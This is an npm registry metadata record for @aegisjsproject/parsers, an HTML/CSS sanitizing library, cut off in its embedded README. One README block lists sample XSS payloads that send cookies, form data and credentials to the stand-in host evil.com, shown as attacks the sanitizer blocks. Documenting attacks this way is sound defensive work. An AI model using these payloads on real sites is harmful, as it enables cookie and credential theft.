domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"ff3fac10c8a6a8ac9d1a47515b2ee4fa57754063","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:bd82bec2-37d6-4d3d-aa93-fac19cb93a3d"}},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"11.6.1","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"24.10.0","dependencies":{"@aegisjsproject/url":"^1.0.3","@aegisjsproject/sanitizer":"^0.2.3"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^16.0.0"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.1.3_1765927746572_0.8334351842412688","host":"s3://npm-registry-packages-npm-production"}},"0.1.4":{"name":"@aegisjsproject/parsers","version":"0.1.4","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.1.4","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"dist":{"shasum":"1a2bf56ad1bc8bf6ed0f3d06055de7a752584e05","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.1.4.tgz","fileCount":18,"integrity":"sha512-jMfb4CdglULAPe8ohD5KdSr39roE6conpvMesOB//zxPL6vhoKjP5Gni1AdLs9o5hnMUXzbOMeXkfyMTB//DOw==","signatures":[{"sig":"MEUCIDOTRR9EVEM9eP/ZdK547E0Ke+Hy0xLzlGKmh9BJw8rlAiEAqofqRQoCsFnKa1ZXCgesqV8STbEQ+lne5O521jAtJjk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.1.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":122220},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"4fd72d3d7eb997d6048c835b6afd21393c6890b0","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"http-server ${npm_package_config_serve_path} -c-1 --port ${npm_package_config_serve_port} --gzip true --brotli true -a ${npm_package_config_serve_domain} -o /test/","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:bd82bec2-37d6-4d3d-aa93-fac19cb93a3d"}},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"11.6.1","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"24.10.0","dependencies":{"@aegisjsproject/url":"^1.0.3","@aegisjsproject/sanitizer":"^0.2.4"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","http-server":"^14.1.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^16.0.0"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.1.4_1766534647675_0.5683226082123729","host":"s3://npm-registry-packages-npm-production"}},"0.1.5":{"name":"@aegisjsproject/parsers","version":"0.1.5","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.1.5","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"dist":{"shasum":"9d92e560440d1abb7e06b2f49c76b8ee2719a3db","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.1.5.tgz","fileCount":18,"integrity":"sha512-N4Mi7ZbrRy1KYMyrZscaIi3svHRqvbBH6l4S/I3YRD3Xal9flBAiDhcdoR6oes7L53i7CpiEtVD7rXReoLBffw==","signatures":[{"sig":"MEUCIQCM3ORVbq4t+bQKMz9vx03PViwJYVqHRP8zVPpN0pcGEAIgKXsl86ip/nOjGUfewHJl3QAkyEzEZQbvwpk+kCrRnSc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.1.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":122064},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"772bbc32e1bf41c335a9f362348fbbae72e94880","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"npx @shgysk8zer0/http-server -c ./http.config.js","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:bd82bec2-37d6-4d3d-aa93-fac19cb93a3d"}},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"11.6.1","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"24.10.0","dependencies":{"@aegisjsproject/url":"^1.0.3","@aegisjsproject/sanitizer":"^0.2.4"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^9.0.0","rollup":"^4.13.1","@rollup/plugin-terser":"^0.4.4","@shgysk8zer0/importmap":"^1.7.5","@shgysk8zer0/http-server":"^1.1.1","@aegisjsproject/dev-server":"^1.0.5","@aegisjsproject/http-utils":"^1.0.4","@shgysk8zer0/eslint-config":"^1.0.1","@rollup/plugin-node-resolve":"^16.0.0"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.1.5_1767979641858_0.30084608723522477","host":"s3://npm-registry-packages-npm-production"}},"0.1.6":{"name":"@aegisjsproject/parsers","version":"0.1.6","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","_id":"@aegisjsproject/parsers@0.1.6","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"homepage":"https://github.com/AegisJSProject/parsers#readme","bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"dist":{"shasum":"e1ea26f7d64a1ce87ae389e36049632f73fa1dfa","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.1.6.tgz","fileCount":18,"integrity":"sha512-5Fy5G6lY4m61TyWhERBIbsIiW97efY40q5ocFHkkHPN1Yr3dCZsRaA00kvafAp/Elo0HDjO3U9c7vjncThMTTg==","signatures":[{"sig":"MEQCIGreZmCsQXnwf3rYx9wrULTLylaHL6az0FI/wmAf98p1AiBJQeE8iRZe4lW+/LEMstYcSzEy+HLeJI/n6FQZ7X5lGQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.1.6","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":122746},"main":"./parsers.cjs","type":"module","unpkg":"./bundle.js","config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"b2e86ffdd468fb643fdf1080733f4a3afb1ad74f","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"npx @shgysk8zer0/http-server -c ./http.config.js","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:bd82bec2-37d6-4d3d-aa93-fac19cb93a3d"}},"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"11.6.1","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"_nodeVersion":"24.10.0","dependencies":{"@aegisjsproject/url":"^1.0.3","@aegisjsproject/sanitizer":"^0.2.4"},"_hasShrinkwrap":false,"devDependencies":{"eslint":"^10.0.3","rollup":"^4.59.0","@rollup/plugin-terser":"^1.0.0","@shgysk8zer0/importmap":"^1.8.1","@shgysk8zer0/http-server":"^1.1.1","@aegisjsproject/dev-server":"^1.0.6","@aegisjsproject/http-utils":"^1.0.4","@shgysk8zer0/eslint-config":"^1.0.7","@rollup/plugin-node-resolve":"^16.0.3"},"_npmOperationalInternal":{"tmp":"tmp/parsers_0.1.6_1773417739313_0.9814784817118647","host":"s3://npm-registry-packages-npm-production"}},"0.2.0":{"_id":"@aegisjsproject/parsers@0.2.0","bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"dist":{"shasum":"fb829202f845f21da84e9dc57916d2dc21c24c5e","tarball":"https://registry.npmjs.org/@aegisjsproject/parsers/-/parsers-0.2.0.tgz","integrity":"sha512-tsnChy8ZO+YZUZKmPCU0ZX4uOQs8y9p0Vk5rY5E+8LEmzr5QjzBuN03QCtjQfF4gabbjg0m8pRjzt1iy6S7L6Q==","fileCount":18,"unpackedSize":101906,"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@aegisjsproject%2fparsers@0.2.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIEcJqv67MoQWl7U+vfTLQ1ecuhiRh58kADt/MvJASPOmAiAKiVnfI38SpJfNkr8ZfEiQReyPK8joX9hPQ2ZgOmeS7Q=="}]},"main":"./parsers.cjs","name":"@aegisjsproject/parsers","type":"module","unpkg":"./bundle.js","author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"config":{"serve":{"path":"./","port":8080,"domain":"localhost"}},"module":"./parsers.js","engines":{"node":">=18.0.0"},"exports":{".":{"import":"./parsers.js","require":"./parsers.cjs"},"./*":{"import":"./*.js","require":"./*.cjs"},"./*.js":{"import":"./*.js","require":"./*.cjs"},"./*.cjs":{"import":"./*.js","require":"./*.cjs"},"./*.mjs":{"import":"./*.js","require":"./*.cjs"}},"funding":[{"url":"https://liberapay.com/shgysk8zer0","type":"librepay"},{"url":"https://github.com/sponsors/shgysk8zer0","type":"github"}],"gitHead":"1aaf2d1dad81c00f5aa791ce797d379c896ef262","license":"MIT","private":false,"scripts":{"test":"npm run lint:js && npm run build","build":"npm run build:js","clean":"rm -f *.cjs *.mjs  *.map","start":"npx @shgysk8zer0/http-server -c ./http.config.js","fix:js":"eslint . --fix","lint:js":"eslint .","prepare":"npm run build","build:js":"npm run clean && rollup -c rollup.config.js","preversion":"npm test","create:lock":"npm i --package-lock-only --ignore-scripts --no-audit --no-fund","version:bump":"npm run version:bump:patch","version:bump:major":"npm version --no-git-tag-version major && npm run create:lock","version:bump:minor":"npm version --no-git-tag-version minor && npm run create:lock","version:bump:patch":"npm version --no-git-tag-version patch && npm run create:lock"},"version":"0.2.0","_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:69acde3e-42ea-46fe-bbbe-fc90875cbac0"},"approver":{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}},"homepage":"https://github.com/AegisJSProject/parsers#readme","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"_npmVersion":"11.16.0","description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","directories":{},"maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"_nodeVersion":"26.3.0","allowScripts":{"fsevents@2.3.3":true},"dependencies":{"@aegisjsproject/url":"^1.1.0","@aegisjsproject/sanitizer":"^0.3.0"},"devDependencies":{"eslint":"^10.0.3","rollup":"^4.62.0","@rollup/plugin-terser":"^1.0.0","@shgysk8zer0/importmap":"^1.10.1","@shgysk8zer0/http-server":"^1.2.0","@aegisjsproject/dev-server":"^1.1.0","@aegisjsproject/http-utils":"^1.1.0","@shgysk8zer0/eslint-config":"^1.1.0","@rollup/plugin-node-resolve":"^16.0.3"},"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/parsers_0.2.0_1781465860780_0.21766529633315645"},"_hasShrinkwrap":false}},"time":{"created":"2024-03-29T01:14:54.215Z","modified":"2026-06-14T19:37:41.137Z","0.0.1":"2024-03-29T01:14:54.758Z","0.0.2":"2024-03-29T01:27:53.849Z","0.0.3":"2024-03-29T22:45:12.568Z","0.0.4":"2024-03-31T00:11:03.799Z","0.0.6":"2024-04-02T19:01:04.098Z","0.0.7":"2024-04-04T03:18:46.655Z","0.0.8":"2024-04-09T21:24:46.490Z","0.0.9":"2024-09-20T02:06:34.815Z","0.0.10":"2024-09-25T15:59:31.822Z","0.0.11":"2024-09-30T03:31:02.372Z","0.0.12":"2024-10-04T19:54:25.981Z","0.0.13":"2024-10-28T15:58:54.505Z","0.0.14":"2024-11-06T19:47:41.249Z","0.0.15":"2024-11-09T17:29:58.374Z","0.0.16":"2024-11-26T18:09:46.120Z","0.1.0":"2025-10-23T20:01:02.983Z","0.1.2":"2025-11-18T20:02:40.850Z","0.1.3":"2025-12-16T23:29:06.723Z","0.1.4":"2025-12-24T00:04:07.819Z","0.1.5":"2026-01-09T17:27:21.998Z","0.1.6":"2026-03-13T16:02:19.446Z","0.2.0":"2026-06-14T19:37:40.859Z"},"bugs":{"url":"https://github.com/AegisJSProject/parsers/issues"},"author":{"name":"Chris Zuber","email":"admin@kernvalley.us"},"license":"MIT","homepage":"https://github.com/AegisJSProject/parsers#readme","keywords":["aegis","tagged-template-literals","sanitizer","sanitizer-api"],"repository":{"url":"git+https://github.com/AegisJSProject/parsers.git","type":"git"},"description":"A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","maintainers":[{"name":"shgysk8zer0","email":"shgysk8zer0@gmail.com"}],"readme":"# `@aegisjsproject/parsers`\n\nA collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON\n\n[![CodeQL](https://github.com/AegisJSProject/parsers/actions/workflows/codeql-analysis.yml/badge.svg)](https://github.com/AegisJSProject/parsers/actions/workflows/codeql-analysis.yml)\n![Node CI](https://github.com/AegisJSProject/parsers/workflows/Node%20CI/badge.svg)\n![Lint Code Base](https://github.com/AegisJSProject/parsers/workflows/Lint%20Code%20Base/badge.svg)\n\n[![GitHub license](https://img.shields.io/github/license/AegisJSProject/parsers.svg)](https://github.com/AegisJSProject/parsers/blob/master/LICENSE)\n[![GitHub last commit](https://img.shields.io/github/last-commit/AegisJSProject/parsers.svg)](https://github.com/AegisJSProject/parsers/commits/master)\n[![GitHub release](https://img.shields.io/github/release/AegisJSProject/parsers?logo=github)](https://github.com/AegisJSProject/parsers/releases)\n[![GitHub Sponsors](https://img.shields.io/github/sponsors/shgysk8zer0?logo=github)](https://github.com/sponsors/shgysk8zer0)\n\n[![npm](https://img.shields.io/npm/v/@aegisjsproject/parsers)](https://www.npmjs.com/package/@aegisjsproject/parsers)\n![node-current](https://img.shields.io/node/v/@aegisjsproject/parsers)\n![npm bundle size](https://img.shields.io/bundlephobia/minzip/%40aegisjsproject%2Fparsers)\n[![npm](https://img.shields.io/npm/dw/@aegisjsproject/parsers?logo=npm)](https://www.npmjs.com/package/@aegisjsproject/parsers)\n\n[![GitHub followers](https://img.shields.io/github/followers/AegisJSProject.svg?style=social)](https://github.com/AegisJSProject)\n![GitHub forks](https://img.shields.io/github/forks/AegisJSProject/parsers.svg?style=social)\n![GitHub stars](https://img.shields.io/github/stars/AegisJSProject/parsers.svg?style=social)\n[![Twitter Follow](https://img.shields.io/twitter/follow/shgysk8zer0.svg?style=social)](https://twitter.com/shgysk8zer0)\n\n[![Donate using Liberapay](https://img.shields.io/liberapay/receives/shgysk8zer0.svg?logo=liberapay)](https://liberapay.com/shgysk8zer0/donate \"Donate using Liberapay\")\n- - -\n\n- [Code of Conduct](./.github/CODE_OF_CONDUCT.md)\n- [Contributing](./.github/CONTRIBUTING.md)\n- [Security Policy](./.github/SECURITY.md)\n\n## Benefits\n\n- **Lightweight**: (6.4Kb gzipped): Keeps your bundle size small and load times down\n- [**Convenient**](#a-quick-example): Easily compose elements, styles, & icons using tagged template literals\n- [**XSS Protection**](#examples-of-attacks-protected-against): Built-in sanitization mitigates XSS vulnerabilities\n- [**Reusable Components**](#reusable-components-and-styles): Create secure & reusable UI components (or modules) with ease\n- [**No Framework Required**](#no-framework-required): Works even without a client-side framework\n- [**Customizable**](#advanced-usage-with-custom-sanitizer-config): Supports your own custom lists of tags and attributes\n- [**Compatible with Strict CSP & Trusted Types**](#content-security-policy-and-trustedtypespolicy): Does not conflict with other security best practices\n\n## What is This?\nThis is a lightweight (as little as 6.4Kb, minified and gzipped) library for parsing\nvarious kinds of content using [tagged template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates).\n\nIt makes creating UI components, icons, and stylesheets easy, more secure, and\nreusable. No framework required, though it should be compatible with any\nclient-side framework (no SSR - unless a full DOM implementation is provided).\n\nIt also sanitizes inputs to protect against [Cross-Site Scripting](https://owasp.org/www-community/attacks/xss/)\n(XSS) attacks, much like DOMPuriy. It provides a safer alternative to `innerHTML` and\nusing `<style>`s and protects against XSS attacks by removing dangerous elements\nand attributes, and even filtering out dangerous links such as `javascript:` URIs.\n\n> [!IMPORTANT]\n> While this library, the Sanitizer polyfill, and eventually the Sanitizer API\n> built into browsers do aim to reduce the risks involved in creating things on\n> the web, it should not be assumed that it makes your site immune.\n\n## A Quick Example\n\n```js\nimport { html, css } from '@aegisjsproject/parsers';\n\ndocument.querySelector('.container').append(html`\n  <h1>Hello, World!</h1>\n`);\n\ndocument.adoptedStyleSheets = [css`\n  :root {\n    box-sizing: border-box;\n  }\n`];\n```\n\n## Web Component Example\n\n```js\nimport { template } from './template.js';\nimport { base, dark, light } from './theme.js';\nimport { btnStyles, cardStyles } from './styles.js';\n\nclass MyComponent extends HTMLElement {\n  #shadow;\n\n  constructor() {\n    super();\n\n    this.#shadow = this.attachShadow({ mode: 'closed' });\n    this.#shadow.append(template);\n    this.#shadow.adoptedStyleSheets = [base, dark, light btnStyles, cardStyes];\n  }\n}\n\ncustomElements.define('my-component', MyComponent);\n```\n\n> [!WARNING]\n> The Sanitizer API is still being developed, and could change. Until the API\n> is stable, this project will remain pre-v1.0.0\n\n### Examples of Attacks Protected Against\n\n```html\n<!-- Steals cookies on click -->\n<a href=\"javascript:fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))\">Steal Cookie</a>\n\n<!-- Another way of stealing cookies -->\n<button onclick=\"fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))\">Steal Cookie</button>\n\n<!-- Steals data from any submitted form -->\n<script>\n  document.forms.forEach(form => {\n    form.addEventListener('submit', event => {\n      navigator.sendBeacon('https://evil.com/api', new FormData(event.target));\n    }, { passive: true });\n  });\n</script>\n\n<!-- Can execute arbitrary code -->\n<script src=\"https://evil.com/attack.js\"></script>\n\n<!-- Trick users to giving their credentials to an attacker -->\n<form action=\"https://evil.com/\">\n  <input type=\"email\" placeholder=\"user@example.com\" autocomplete=\"email\" required=\"\" />\n  <input type=\"password\" placeholder=\"*******\" autocomplete=\"current-password\" required=\"\" />\n  <button type=\"submit\">Login</button>\n</form>\n\n<!-- Change where a form is submitted -->\n<button type=\"submit\" formaction=\"https://evil.com\" form=\"login\">Submit</button>\n\n<!-- Changes the base for interpreting all URLs, including scripts and images -->\n<base href=\"https://evil.com/\" />\n<script src=\"main.js\"></script> <!-- Now points to \"https://evil.com/main.js\" -->\n\n<!-- Executes an attack when an image loads (or errors when loading) -->\n<img src=\"https://cdn.images.com/cat.jpg\" onload=\"fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))\" />\n```\n\n## No Framework Required\nEverything you need is included in `bundle.min.js`. That includes the polyfill\nfor the Sanitizer API and exports everything you need. You can use this in nearly\nany website, directly from your console (using `import()`), in CodePen, etc.\n\nCompatibility with any client-side framework you are already using depends on\nhow that framework deals with `DocumentFragment`s and `Element`s as DOM objects.\nAny that can render a native DOM Node should work without any struggle. For any\nthat do not, perhaps some simple wrapper could be used.\n\n## Overview of the Parsers\n\n### `html` Tagged Template\nThis uses the Sanitizer API with a sanitizer config allowing HTML & SVG by default.\nIt returns a [`DocumentFragment`](https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment),\nallowing for parsing of multiple elements without requiring a container element\nto wrap everything.\n\nIt will strip out dangerous elements such as `<script>`, attributes such as `onclick`,\nand will also remove any `javascript:` or `file:` URI attributes for certain link-type\nattributes such as `href`.\n\n### `css` Tagged Template\nThis uses [Constructable StyleSheets](https://web.dev/articles/constructable-stylesheets)\nand returns a [`CSSStyleSheet`](https://developer.mozilla.org/en-US/docs/Web/API/CSSStyleSheet),\nwhich may be used via `documentOrShadow.adoptedStyleSheets`.\n\n> [!WARNING]\n> Constructable StyleSheets are not fully compatible with [CSS Custom Properties](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties).\n> You may use any that are set elsewhere, but you cannot set new ones.\n\n```css\n/* Works */\n\n.foo {\n  color: var(--my-color, red);\n}\n\n/* Does not work */\n\n.foo {\n  --my-color: red;\n}\n```\n\n### `svg` Tagged Template\nThis uses `Document.parseHTML()` with a sanitizer config allowing SVG elements\nand attributes, using the correct namespaces. It returns an [`SVGSVGElement`](https://developer.mozilla.org/en-US/docs/Web/API/SVGSVGElement).\n\n### `math` Tagged Template\nThis uses `Document.parseHTML()` with a sanitizer config allowing MathML elements\nand attributes, using the correct namespaces. It returns an [`MathMLElement`](https://developer.mozilla.org/en-US/docs/Web/API/MathMLElement).\n\n### `xml` Tagged Template\nThis is just a simple wrapper function using `new DOMParser().parseFromString(str, { type: 'application/xml' })`.\nIt does not provide any additional security, only a more convenient way of parsing XML.\n\n### `json` Tagged Template\nThis is also just a convenient wrapper that provides no security benefits. It\njust calls `JSON.parse()`.\n\n## Reusable Components and Styles\nWrite once and use anywhere! You can event put them in a module script and `export`\ncomponents, styles, and icons.\n\n```js\nimport { html, css, svg } from '@aegisjsproject/parsers';\n\nexport const btnStyles = css`.btn {\n  background-color: #8cb4ff;\n  color: #fafafa;\n  border-radius: 6px;\n}`;\n\nexport const closeIcon = svg`<svg width=\"12\" height=\"16\" viewBox=\"0 0 12 16\" fill=\"currentColor\">\n  <path fill-rule=\"evenodd\" d=\"M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z\"/>\n</svg>`;\n\nexport const someBtn = html`<button class=\"btn\" popovertarget=\"popover\">Click Me!</button>`;\n\nexport const popover = html`<div id=\"popover\" popover=\"auto\">\n  <button type=\"button\" popovertarget=\"popover\" popovertargetaction=\"hide\">${closeIcon}</button>\n  <p>Bacon ipsum dolor amet pastrami sirloin kielbasa tenderloin.</p>\n</div>`;\n```\n\n> [!TIP]\n> Store your color palette in perhaps a `palette.js` module to make it easier to\n> keep designs consistent.\n\n### Importing from Modules\n\n```js\nimport { showBtn, popover } from './template.js';\nimport { styles } from './style.js';\nimport { btnStyles, darkTheme, lightTheme } from '../shared-styles.js';\n\ncustomElements.define('my-component', class MyComponent extends HTMLElement {\n  constructor() {\n    super();\n    this.attachShadow({ mode: 'open' });\n    this.shadowRoot.append(someBtn.cloneNode(true), popover.cloneNode(true));\n    this.shadowRoot.adoptedStyleSheets = [styles, btnStyles, darkTheme, lightTheme];\n  }\n});\n```\n### Composing Components via Functions\nAnother great use would be creating a function that returns a component that uses\ndata from its arguments:\n\n```js\nexport const createComment = ({ username, userId, date, body }) => html`\n  <div class=\"comment\">\n    <div class=\"comment-header\">\n      Posted by <a href=\"/users/${userId}\">${username}</a> on <time datetime=\"${date.toISOString()}\">${date.toLocalseString()}</time>\n    </div>\n    <div class=\"comment-body\">${body}</div>\n  </div>\n`;\n```\n\n> [!WARNING]\n> Although the Sanitizer API does a lot to protect against XSS attacks, it would\n> still be a good idea to create a more restricted parser that only allows for\n> very limited tags and attributes.\n\n> [!TIP]\n> Reusing Parsed HTML, SVG, & MathML\n\nBe aware that the usual rules of appending nodes applies to the `DocumentFragment`s\nand `Element`s that are returned. This means that, if you append them in multiple\nplaces, they will only be moved instead of copied. If you need to append more than\nonce, you will have to use [`node.cloneNode(true)`](https://developer.mozilla.org/en-US/docs/Web/API/Node/cloneNode).\n\nThis does not apply to `CSSStyleSheets` since [`adoptedStyleSheets`](https://developer.mozilla.org/en-US/docs/Web/API/Document/adoptedStyleSheets)\nallows sharing, so cloning is not necessary.\n\n## About [The Sanitizer API](https://github.com/WICG/sanitizer-api/)\nThis project relies on [`@aegisjsproject/sanitizer`](https://github.com/AegisJSProject/sanitizer/)\nto provide `Element.prototype.setHTML()` & `Document.parseHTML()`. While it is\nincluded as a dependency, the polyfill is not loaded by default, except for in `bundle.js`\nand `bundle.min.js`. This is to avoid bloating bundles with multiple copies, as\nwell as to allow loading any different polyfill should you choose.\n\nWhen not using the bundle, it is best to import the polyfill as a 